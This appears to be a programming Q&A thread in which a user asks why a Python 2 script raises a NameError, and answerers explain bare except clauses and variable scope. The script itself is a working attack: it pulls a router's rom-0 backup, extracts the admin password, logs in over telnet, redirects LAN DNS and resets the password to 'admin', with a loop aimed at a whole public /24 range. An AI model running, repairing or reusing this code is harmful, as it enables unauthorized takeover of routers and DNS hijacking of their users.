Reputation: 1
I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root@bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me? This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.? Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last): File "code.py", line 17, in host=str(sys.argv[1]) IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
Upvotes: 0
Views: 6562
Reputation: 184365
Your except
clause will catch any error in any line of code in the try
block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1])
will fail, leaving host
unassigned, which then causes the error you are seeing when you try to print
it.
You should take most of the code out of your try
block, really, and/or create multiple try
blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except
instead of trying to handle all of them. Bare except:
catches things you probably don't want caught, such as KeyboardInterrupt
and SystemExit
. If you must catch most exceptions, use except Exception:
instead of just except:
.
Upvotes: 2
Reputation: 11396
it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host
before the try/except block
Upvotes: 1
Reputation: 7158
you are defining host
in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except
to see what the actual error is.
Upvotes: -1